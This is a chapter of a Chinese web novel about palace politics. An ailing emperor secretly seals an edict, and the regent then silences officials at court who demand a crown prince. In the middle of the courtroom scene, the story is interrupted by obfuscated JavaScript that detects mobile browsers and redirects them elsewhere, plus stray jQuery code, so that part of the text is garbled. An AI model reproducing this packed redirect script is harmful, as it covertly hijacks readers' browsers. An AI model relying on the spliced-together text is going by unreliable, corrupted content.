62.第 62 章

作品:《脱离系统控制后

    “置之死地……而后生。”晋棠低声重复着这七个字。


    这具身体本就虚弱,又经历了方才幻象的冲击和情绪的剧烈起伏,此刻放松下来,疲惫如同潮水般涌上,眼皮沉得几乎抬不起来。


    但晋棠强撑着,他怕系统回来,会打他们一个措手不及。


    “王忠。”


    王忠立刻从外间进来,躬身听命。


    “准备笔墨,还有朕的私印。”晋棠顿了顿,目光掠过萧黎,又补充道,“以及国玺。”


    王忠心头一震。


    深夜急召,动笔用印,还涉及国玺,这……


    他不敢多问,立刻应声:“是,老奴这就去准备。”


    王忠匆匆退下,很快便带着两名心腹内侍,捧来了所需之物。


    一张紫檀木小几被搬到龙榻边,铺开明黄暗纹的御用绢帛,一方九龙盘绕的端砚,一块上好的松烟墨,几支狼毫笔依次排开。


    装着皇帝私印的锦盒和象征着至高皇权的国玺,被小心翼翼地放置在绢帛两侧。


    寝殿内的气氛因这几样物事的出现,而变得更加肃穆凝重。


    花乜静静地坐在一旁,看着这一切。


    她心想,盘王保佑。


    晋棠在萧黎的搀扶下,慢慢坐直了身体,靠在高垒的软枕上。


    他伸出手,指尖轻轻抚过冰凉的绢帛表面,然后才拿起了一支笔。


    萧黎站在榻边,目光一瞬不瞬地落在晋棠身上。


    晋棠蘸饱了墨,笔尖落下。


    手腕稳得惊人,完全不像一个刚从梦魇中挣脱的病人。


    一个个端正有力的字迹在绢帛上显现。


    烛光将晋棠的侧影投在床帐上,勾勒出清瘦却挺直的轮廓。


    萧黎看着这样的晋棠,心口又酸又胀。


    晋棠写得很快。


    当最后一个字收笔,他放下笔,转向了那两方印。


    先是私印。


    晋棠拿起那方私印在印泥上按了按,稳稳地盖在了绢帛末端。


    接着是国玺。


    那方雕琢着“受命于天,既寿永昌”八字鸟虫篆的玉玺,被晋棠双手捧起,国玺同样在印泥上沾满,重重地盖在了私印之旁。


    “咚。”


    一声沉闷而的轻响。


    明黄的绢帛上,鲜红的玺印如同烙铁,灼热而醒目。


    做完这一切,晋棠像是被抽空了所有力气,身体晃了晃,向后软倒。


    萧黎立刻上前,稳稳地将晋棠接入怀中,重新靠回那堆叠的软枕里。


    晋棠靠在萧黎怀里,微微喘息着,额角又渗出细密的冷汗。


    他抬起眼,看向萧黎,目光有些涣散,却执拗地不肯闭上。


    “王叔……”晋棠的声音轻得像叹息,“抱着朕。”


    他需要感受萧黎的存在,需要坚实的心跳和温暖的体温,来确认眼前的一切不是又一场即将醒来的噩梦,来驱散灵魂深处残留的冰冷与血腥。


    萧黎的心狠狠一揪。


    他依言调整姿势,将晋棠更紧密地拥入怀中,让他靠在自己胸膛上,用自己的手臂环住他单薄的肩背,另一只手轻轻握住他冰凉的手指,用掌心缓缓摩挲,传递着热度。


    “臣在,陛下,臣抱着您。”萧黎低下头,下颌轻轻蹭着晋棠柔软的发顶,声音低沉而温柔,“累了就睡吧,臣守着您,哪儿也不去。”


    晋棠靠在萧黎温热的胸膛上,紧绷的神经终于一点点松弛下来。


    极致的疲惫如同厚重的绒毯,温柔地包裹了他。


    他的眼皮越来越沉,意识开始模糊,可抓着萧黎衣襟的手指,却依旧没有松开。


    绵长而平稳的呼吸声响起,晋棠陷入了深沉的睡眠。


    萧黎维持着怀抱的姿势,一动不动。


    萧黎抬起头,看向花乜:“郡主,拜托了。”


    “我会尽全力。”花乜对着萧黎微微一礼,又看了一眼在萧黎怀中安睡的晋棠,退出了寝殿。


    王忠轻手轻脚地上前,小心翼翼地将那张加盖了双印的圣旨卷起,装入特制的鎏金铜管中。


    萧黎的目光在铜管上停留一瞬:“放入暗格吧”


    “是。”王忠郑重应下,捧着铜管,走向寝殿内一处极其隐蔽的所在。


    殿内重归宁静。


    萧黎就这样抱着晋棠,坐在龙榻上,目光时而落在晋棠沉睡的脸上,时而望向窗外深沉的夜色。


    ……


    天色将明未明,萧黎轻轻将沉睡的晋棠放回锦被中,仔细掖好被角。


    萧黎活动了一下因久坐而有些僵硬的身体,换上了紫色朝服。


    镜中的男人,眉眼冷峻,下颌线紧绷,除了眼底那几缕血丝,看不出丝毫疲惫或软弱。


    萧黎最后看了一眼帐内安睡的晋棠,转身,大步走出了寝殿。


    宫道漫长,晨风凛冽。


    沿途遇见的宫人无不远远便躬身避让,垂首屏息,不敢直视这位浑身散发着可怖气息的摄政王。


    太极殿。


    多日未曾主持朝会的摄政王突然出现,让不少官员心中暗自揣测。


    尤其是杨澈,目光状似无意地扫过萧黎冷峻的侧脸,眼底深处掠过阴冷与算计。


    钟鼓齐鸣,百官入殿。


    例行的事务奏报开始,气氛看似与往常无异。


    户部禀报秋税收缴情况,工部陈述旧河道疏浚进展,兵部汇报边疆防务……萧黎端坐于御阶之下,面色沉静地听着,偶尔简短地做出批示或询问,与往日并无不同。


    敏锐之人能感觉到今日摄政王的心情相当不好。


    当几桩紧要政务议毕,殿内出现了短暂的沉寂。


    就在这沉寂即将被下一个奏报打破时,一名身着青色官袍的官员,手持玉笏,越众而出。


    “臣,有本启奏!”


    萧黎眼皮微抬,目光落在此人身上。


    御史刘成。


    一个平日里并不十分起眼,却与杨家旁支有着姻亲关系的官员。


    萧黎现在看见跟杨澈有关的人就烦,拉着一张脸:“讲。”


    刘成朗声道:“启奏摄政王,陛下圣体违和,久不视朝,臣等心系陛下,日夜悬心,国不可一日无君,储副之位,关乎国本,更关乎天下安定,陛下至今膝下犹虚,未立太子,此实非社稷之福!”


    他顿了顿,目光飞快地向上瞥了一眼:“陛下乃万民之主,然天有不测风云,若陛下……则神器无主,必致朝野动荡,人心惶惶,为江山社稷计,为天下苍生计,臣恳请摄政王,奏请陛下,早日于宗室之中择选贤良,立为皇太子,以固国本,安天下之心!”


    此言一出,殿内顿时响起一片低低的吸气声和议论声。


    许多人此时心里只有一个想法:刘成有病吧?敢在摄政王面前提立太子?


    不少官员下意识地看向了御阶之上空悬的龙椅,又偷偷觑向端坐于下的萧黎。


    萧黎面色果然变得很难看。


    “刘御史。”萧黎开口,带着些阴阳怪气“你方才说,陛下膝下犹虚,未立太子,此非社稷之福?”


    刘成被萧黎的目光看得心头发毛,硬着头皮道:“是,臣、臣是为国本虑……”


    “好一个为国本虑!”萧黎猛地提高声音,吓得人抖三抖。


    “陛下春秋鼎盛,不过偶染微恙,正在静养,尔等身为臣子,不思为君分忧,不思静候圣安,反而在此大放厥词,议论立储?怎么,是觉得陛下不行了,急着要给这龙椅上换个人坐不成!”萧黎厉声喝问。


    刘成吓得腿一软,扑通跪倒在地,连连磕头:“殿下息怒!臣、臣绝无此意!臣只是、只是忧心国事,唯恐……”


    “唯恐什么?”萧黎打断他,站起身,一步步走下御阶,紫色蟒袍的下摆拂过光洁的地面,“唯恐陛下挺不过这一关?唯恐朝廷生乱?刘成,你好大的胆子!谁给你的胆子,在陛下尚在之时,便敢如此诅咒君上,妄议神器归属!”


    “还是说,你背后有人指使,让你试探本王、试探朝廷,试探陛下的底线?!”


    这话太直接了。


    文武百官屏住了呼吸,冷汗涔涔而下。


    杨澈藏在袖中的手,悄然握紧。


    他没想到萧黎的反应如此激烈,这与他预想中萧黎或会虚与委蛇、或会暂时安抚的局面截然不同。


    难道晋棠已然到了强弩之末?


    刘成面如死灰,浑身抖得像秋风中的落叶,他猛地抬头看向杨澈的方向,眼中充满了惊恐和求助,嘴唇哆嗦着,似乎想说什么。


    杨澈心中一凛,立刻移开视线,仿佛根本不认识这个人。


    绝不能让刘成攀咬出来!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455420|197683||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刘成见杨澈避开目光,眼中最后一点希望也熄灭了,绝望如同潮水将他淹没。


    他知道,自己成了弃子。


    “殿、殿下明鉴!臣、臣只是一片忠心,绝无人指使!臣……”刘成语无伦次。


    “一片忠心?”萧黎嗤笑一声,不再看他,转身面向百官,声音响彻大殿,“好一个忠心!尔等都给本王听好了——”


    “陛下乃真命天子,得上天庇佑,自有痊愈之时!凡有再敢妄议立储、诅咒君上、动摇国本者,不论官职,不论背景,一律以谋逆论处,诛九族!”


    这下众人可以确定,萧黎晋棠的心情是差到了极点,不然不会连诛九族的话都说出来。


    杨澈的脸色也难看到了极点。


    皇帝立太子本就是常理,晋棠没有皇嗣自然是从宗室过继,萧黎至于动杀心?


    莫非,刘成的话戳到了萧黎的痛处?


    就在这时,又一名官员像是豁出去了一般,猛地出列:“玄王殿下,您多日不曾主持朝会,日夜守在陛下寝宫,若非陛下情形不妙,您何至于此?刘御史所言或许急切,但其心可悯,您如此厉色呵斥,甚至以诛九族相威胁,莫非是想堵住天下悠悠众口,行那欺君罔上、独揽大权之事吗!”


    此人名叫赵德,显然是杨澈推出来的一步死棋,目的就是激怒萧黎,最好能让萧黎当场下令将他处死,如此便可坐实萧黎“堵塞言路”、“残害忠良”的恶名。


    殿内气氛瞬间紧绷到了极点。


    所有目光都聚焦在萧黎身上,看他如何应对这指着鼻子骂他“欺君罔上”、“独揽大权”的指控。


    杨澈的嘴角向上弯了一下。


    萧黎,杀了他,快啊。


    萧黎看着赵德那张因激动而涨红的老脸,眼中寒意更盛,却没有如杨澈预料的那般暴怒。


    他反而缓缓坐回了椅子上,目光平静得可怕。


    “赵大人,你说本王日夜守在陛下寝宫,是陛下情形不妙?”


    赵德梗着脖子:“难道不是?”


    “陛下乃万金之躯,龙体违和,本王受先帝托付,总摄朝政,亲侍汤药,乃是人臣本分,更是陛下恩准。”萧黎慢条斯理道,“倒是赵大人你,一介翰林清流,不思修书撰史,明理载道,反而整日打探宫闱之事,揣测圣躬,甚至以此攻讦本王,你这忠,到底忠的是谁?你这心,到底安的什么心?”


    赵德被萧黎这番不疾不徐却字字诛心的话问得一滞,脸涨得更红:“你、你强词夺理!臣是为国……”


    “为国?”萧黎打断他,眼神锐利,“若真为国,便该恪守臣节,静候天时,而不是在此危言耸听,扰乱朝纲,赵德,你年纪大了,脑子不清醒,本王不与你计较。”


    萧黎目光扫向殿外:“玄甲卫!”


    “在!”两名身着玄色铁甲的卫士应声踏入大殿,铁甲摩擦之声令人心悸。


    “将赵德带下去,严加看管。”


    杨澈不明白萧黎为何不杀赵德,萧黎是想做什么?


    两名玄甲卫上前,一左一右架住了赵德胳膊把人往外拖。


    “玄王!你、你滥用职权!堵塞言路!你不得好……”赵德反应过来,挣扎着想要叫骂。


    一名玄甲卫抬手,在刘成颈后某处不轻不重地一击,赵德的声音戛然而止,眼睛一翻,软软地瘫了下去,被直接拖出了大殿。


    整个过程干脆利落,所有官员都噤若寒蝉。


    萧黎重新将目光投向依旧跪在地上抖如筛糠的刘成,以及殿内其他官员。


    “关于立太子一事,陛下自有圣断,非尔等所能妄议,今日之后,若再有人提及,便如同赵德一般,给本王好好冷静冷静。”


    萧黎不再给任何人开口的机会,直接起身:“若无其他要事,散朝。”


    说罢,萧黎不再看任何人径直穿过鸦雀无声的百官队列,大步走出了太极殿。


    紫色的身影消失在殿门外,那沉重的威压仿佛也随之散去。


    但留在殿内的百官,却许久没能回过神来。


    杨澈缓缓抬起头,望着萧黎离去的方向,眼中翻涌着滔天的怨毒。


    玄王,倒是我小看了,本以为涉及到皇帝你会失去冷静。


    杨澈缓缓露出恶劣的笑。


    不过你能冷静一时又如何?西南巫师也救不了皇帝的命。